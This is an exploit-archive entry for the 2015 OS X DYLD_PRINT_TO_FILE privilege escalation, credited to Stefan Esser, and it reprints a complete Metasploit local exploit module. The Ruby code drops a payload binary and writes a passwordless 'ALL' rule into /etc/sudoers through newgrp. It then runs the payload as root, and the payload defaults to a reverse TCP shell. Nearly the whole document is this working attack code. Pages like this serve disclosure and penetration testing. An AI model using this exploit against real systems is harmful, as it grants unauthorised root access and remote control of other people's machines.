Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation

2015.07.24
Credit: Stefan Esser
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Apple OS X DYLD_PRINT_TO_FILE Privilege Escalation', 'Description' => %q{ In Apple OS X 10.10.4 and prior, the DYLD_PRINT_TO_FILE environment variable is used for redirecting logging data to a file instead of stderr. Due to a design error, this feature can be abused by a local attacker to write arbitrary files as root via restricted, SUID-root binaries. }, 'Author' => [ 'Stefan Esser', # Vulnerability discovery and PoC 'joev' # Copy/paste monkey ], 'References' => [ ['URL', 'https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html'], ['URL', 'https://www.reddit.com/r/netsec/comments/3e34i2/os_x_1010_dyld_print_to_file_local_privilege/'] ], 'DisclosureDate' => 'Jul 21 2015', 'License' => MSF_LICENSE, 'Platform' => 'osx', 'Arch' => ARCH_X86_64, 'SessionTypes' => ['shell'], 'Privileged' => true, 'Targets' => [ ['Mac OS X 10.10-10.10.4', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/shell_reverse_tcp' } )) register_options([ OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes']) ]) end def exploit print_status("Writing payload to `#{payload_file}'") write_file(payload_file, binary_payload) register_file_for_cleanup(payload_file) cmd_exec("chmod +x #{payload_file}") print_status("Executing exploit at `#{payload_file}'...") cmd_exec(sploit) end def check (ver?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe end def ver? Gem::Version.new(get_sysinfo['ProductVersion']).between?( Gem::Version.new('10.10.0'), Gem::Version.new('10.10.4') ) end def sploit %Q{/bin/sh -c "echo 'echo \\"$(whoami) ALL=(ALL) NOPASSWD:ALL\\" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo #{payload_file} &"} end def binary_payload Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) end def payload_file @payload_file ||= "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}" end end

References:

https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html


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